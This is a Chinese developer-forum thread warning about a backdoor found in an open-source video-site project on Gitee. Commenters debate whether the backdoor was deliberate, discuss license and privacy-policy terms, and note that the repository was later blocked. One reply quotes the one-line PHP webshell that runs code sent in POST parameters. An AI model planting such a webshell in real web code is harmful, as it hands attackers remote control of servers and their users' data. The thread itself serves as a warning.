V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
dzdh
V2EX  ›  程序员

现如今的开源代码请谨慎使用

  •  4
     
  •   dzdh · 71 天前 · 9572 次点击
    这是一个创建于 71 天前的主题,其中的信息可能已经有所发展或是发生改变。

    有人问一个开源视频网站代码能不能给帮忙改改

    看了一眼 知乎好家伙

    https://gitee.com/positive-rain-cloud/zy-film-admin/blob/master/public/api.php

    53 条回复    2021-11-26 16:18:18 +08:00
    holystrike
        1
    holystrike  
       71 天前   ❤️ 1
    够狠
    不过生产环境是要禁用 eval()的
    AoEiuV020
        2
    AoEiuV020  
       71 天前
    这就可以直说是后门了,假装成漏洞的后门,
    AoEiuV020
        3
    AoEiuV020  
       71 天前
    好家伙,看错了,这是装都不装,特地上传的后门,
    gabon
        4
    gabon  
       71 天前 via Android   ❤️ 1
    好家伙,看不懂 php ,哪位能解释下😂
    Trim21
        5
    Trim21  
       71 天前
    这种又放了个原版 Apache-2.0 的 license ,又在 readme 说不让商用的,到底是按 apache 还是说按 readme...
    InDom
        6
    InDom  
       71 天前
    一句话木马。

    <?php $_POST['a']()$_POST['b'];
    AoEiuV020
        7
    AoEiuV020  
       71 天前
    不过好歹比闭源好些,公开挂在网上有坑可能像这样被别人发现,闭源的话自己没发现问题就只能被坑了,

    而且这 eval 也太粗暴了吧,我代码下载来解压直接报毒,
    smallyu
        8
    smallyu  
       71 天前   ❤️ 1
    我觉得不是故意的
    djkloop
        9
    djkloop  
       71 天前 via iPhone
    多了,隐私协议也要注意,


    https://page.xiaojukeji.com/m/ddPage_0CZOoRgq.html
    kaitok
        10
    kaitok  
       71 天前   ❤️ 2
    @gabon 我猜是 post 请求 /public/api 的 a 参数的代码直接执行
    djkloop
        11
    djkloop  
       71 天前 via iPhone
    1 、对于免费版用户的用户资料,我方享有独家的、全球通用的、永久的、免费的资料许可使用权利(并有权在多个层面对该权利进行再授权),我方有权存储、整理、分析、使用、复制、修订、改写、发布、翻译、分发、执行和展示“您的资料”或制作其派生作品,或以任何形式将“您的资料”纳入其他作品内。

    其中这条就离谱
    AoEiuV020
        12
    AoEiuV020  
       71 天前 via Android
    @smallyu 我第一眼也以为不是故意的,然而他整个项目都没有功能有调用这个 api.php ,只能认为是故意埋的,
    AoEiuV020
        13
    AoEiuV020  
       71 天前 via Android
    @djkloop 这就懂了,没有后门的话这一条根本没法实现,
    skiy
        14
    skiy  
       71 天前   ❤️ 3
    国外很多 npm 包经常被爆漏洞或者被黑,但人家是不经意的。但国内这些,不知道是“技术能力”的原因,还是故意为之。或者说对开源协议有什么自己独特的理解。

    比如前段时间闹得沸沸扬扬的 DEDECMS 事件,有很多人推的这个“PbootCMS”
    https://gitee.com/hnaoyun/PbootCMS/blob/3.X/core/basic/Kernel.php

    其实也是用 `eval`。

    我只是好奇这些标榜 `Apache 2` 协议的,然后指定说某个文件不可以修改和破解的。以我的理解:

    “将这个文件解码出来后,然后再将建一个文件保存。不引用它的那个“授权”核心源码,而是引用这个文件。这个样子算所谓“破解”核心源码吗?。或者说,完全把那个文件删掉,再用新的文件来引入。这算是遵循 Apache2 的规范吗?”
    efaun
        15
    efaun  
       71 天前   ❤️ 5
    gitee 上开源的东西我看都不看
    Osk
        16
    Osk  
       71 天前   ❤️ 5
    一直如此, 大家都觉得开源的, 别人会帮我审核代码, 这不, 楼主这就帮我们审核了一次. /狗头保命 /
    Acoffice
        17
    Acoffice  
       71 天前
    差点以为已经开始投毒了呢
    josephxrays
        18
    josephxrays  
       71 天前
    我看得懂,而且我大受震撼😄
    djkloop
        19
    djkloop  
       71 天前 via iPhone
    @AoEiuV020 反正代码层面要注意,各方面都要注意,很多都是打着免费开源,在各地方给你留坑。像刚才滴滴那个开源的工具,就离谱。
    skiy
        20
    skiy  
       71 天前
    @djkloop 其实那个条款是违法的。http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml
    第一章第十条:
    “第十条 任何组织、个人不得非法收集、使用、加工、传输他人个人信息,不得非法买卖、提供或者公开他人个人信息;不得从事危害国家安全、公共利益的个人信息处理活动。”第十四、十五条……还有很多条款都很明确了。就怕他们对于“您的信息”的定义为“爱好”等无关信息了。

    新版个人信息保护法很强,就看执行力度的问题了。要是遇到较真的用户,那绝对会一告一个准。可惜,在中国很多人都不喜欢跟法院和律师打交道。(在不涉及政治和制度等“官”层面,这方面法院应该会“公正”一些吧?)
    Kasumi20
        21
    Kasumi20  
       71 天前   ❤️ 23
    gitee 也叫开源, 圈地自萌吗
    nanjingwuyanzu
        22
    nanjingwuyanzu  
       71 天前
    @Kasumi20 真实奥
    fpure
        23
    fpure  
       71 天前
    @Kasumi20 确实
    wonderfulcxm
        24
    wonderfulcxm  
       71 天前 via iPhone
    把 eval 这种危险函数禁用。🙈
    jiuhuicinv
        25
    jiuhuicinv  
       71 天前
    这不是一句话木马么
    ijrou
        26
    ijrou  
       71 天前   ❤️ 1
    这是对小白的警告,对开发人员他们也知道防范不了,还不如一开始就埋坑
    adai2
        27
    adai2  
       71 天前
    666
    crab
        28
    crab  
       71 天前
    有可能是测试用的 webshell 方式图方便忘记删除,不然留后门没道理这么显眼,完全有隐藏和加密混淆的方式。
    CokeMine
        29
    CokeMine  
       70 天前 via Android
    这肯定是故意的吧。。
    ericls
        30
    ericls  
       70 天前 via iPhone
    源代码刚好开放的项目 不等于开源项目
    newsj
        31
    newsj  
       70 天前
    厉害了
    whywaoxaks
        32
    whywaoxaks  
       70 天前
    呆萌!
    jones2000
        33
    jones2000  
       70 天前
    代码都开源了, 自己可以用第 3 放的安防扫描软件扫描代码不就可以了, 不合理的地方自己可以改源码,跟作者有什么关系。开源没有规定不能写 eval()这个函数吧。
    haoliang
        34
    haoliang  
       70 天前   ❤️ 1
    标题打击面太广了,真就“语不惊人死不休”
    westoy
        35
    westoy  
       70 天前
    @crab

    有的

    中古留后门法, 以前很多站长为了外链放的动网、动易的插件版都会留个重置 admin 的脚本......谁改 powered by 就上去砍他丫的.....php 时代才开始考虑构造上传不严谨+包含漏洞这种复用式的留后门办法.....
    cs419
        36
    cs419  
       70 天前
    天眼查显示
    https://www.tianyancha.com/company/5005887173
    拉钩 boss 上在招前端呢

    gitee 源码页面 右侧有个仓库举报的按钮
    LING97
        37
    LING97  
       70 天前
    现如今。。。
    fewok
        38
    fewok  
       70 天前
    不怕,我们不用 php
    xylophone21
        39
    xylophone21  
       70 天前
    其实一直不理解,像这种'xx 系统'这种业务层面的开源,其抽象程度真的能满足真实业务场景需求吗? 如果要改, 不是比自己重写还难受?
    qq316107934
        40
    qq316107934  
       70 天前
    @crab 测试用会故意伪装到 api 下吗?应该起个 test 之类的吧,放 tmp
    Lemeng
        41
    Lemeng  
       70 天前
    目瞪口呆。。
    magic996
        42
    magic996  
       70 天前
    xswl 他的测试站点把那个文件删了
    7gugu
        43
    7gugu  
       70 天前
    @Kasumi20 gitee 怎么就不是开源了?
    majula
        44
    majula  
       70 天前   ❤️ 1
    这个问题其实是无解的

    但即使你审阅了每行代码并自己编译,你仍然无法保证编译器是可信的

    即使你的编译器是自己写的,你仍然需要用其他(无法信任的)编译器来编译它

    除非这个编译器是你从一段手写的机器码开始,滚雪球式地编译出来

    这样仍然不安全,除非你的 BIOS 、操作系统内核和 Coreutils 等其他工具也是这么编译出来的

    可是这样也不够安全,因为 CPU 是无法信任的,你不知道它是不是会乖乖地执行你告诉它的机器码

    但是好在 x86/arm 指令集是开放的,虽然我们造不了 CPU ,但是可以用 FPGA 模拟。FPGA 的原理相对简单,也有开源的实现,从头造出一个可以信任的 FPGA 并不是特别难。

    好了,现在你手里拿着用 FPGA 模拟的 CPU ,有一个可以在上面跑的手写的编译器,还有用这个编译器编译出来 GNU/Linux ,然后在上面跑开源代码。如果上述的代码你都逐行审阅过,而且保证没有疏漏,这样你就基本能够保证跑的开源代码没有风险了。

    听起来是不是很不现实?没错,在当今的互联网世界,即使我们谁都不愿信任,最终还是要信任某个人。我们数据的隐私和安全,都是从一次次无可奈何的信任开始丢失的。
    flyingyasin
        45
    flyingyasin  
       70 天前   ❤️ 6
    @majula 犯了诡辩论的错误
    sudoy
        46
    sudoy  
       69 天前   ❤️ 1
    @majula 人家楼主说开源代码谨慎使用,并拿出一个例子来。你这倒好,直接用“世间万物皆不可信”谬论来恶心人
    zhlxsh
        47
    zhlxsh  
       69 天前 via iPhone   ❤️ 1
    仓库打不开了已经
    仓库已经被屏蔽,暂时无法正常访问

    屏蔽原因:恶意违规

    你可以 点击这里 查看解决方案
    lfzyx
        48
    lfzyx  
       69 天前   ❤️ 1
    这就是开源的意义啊,你这不是发现了漏洞吗

    闭源的都不会给你发现的机会
    aptx4689
        49
    aptx4689  
       69 天前
    @majula 滑坡谬误
    pheyer
        50
    pheyer  
       69 天前
    已经 403 了
    jerryjhou
        51
    jerryjhou  
       69 天前 via Android
    @skiy 请看新闻
    HiCode
        52
    HiCode  
       64 天前
    那个开发者删掉后门又重新把代码放出来了!
    Beize
        53
    Beize  
       57 天前
    实在抱歉,我的疏忽导致的这个问题。
    发布到 gitee 之后,有人留言说发布木马,我们立马查看问题,经查询发现之前买的盲盒系统有后门,导致放到我们公司开发的项目里没有发现。发布到 gitee 的时候 也没有仔细检查。确实是我的失误,挨打就要立正,是我的错误。
    关于   ·   帮助文档   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   1341 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 31ms · UTC 18:32 · PVG 02:32 · LAX 10:32 · JFK 13:32
    ♥ Do have faith in what you're doing.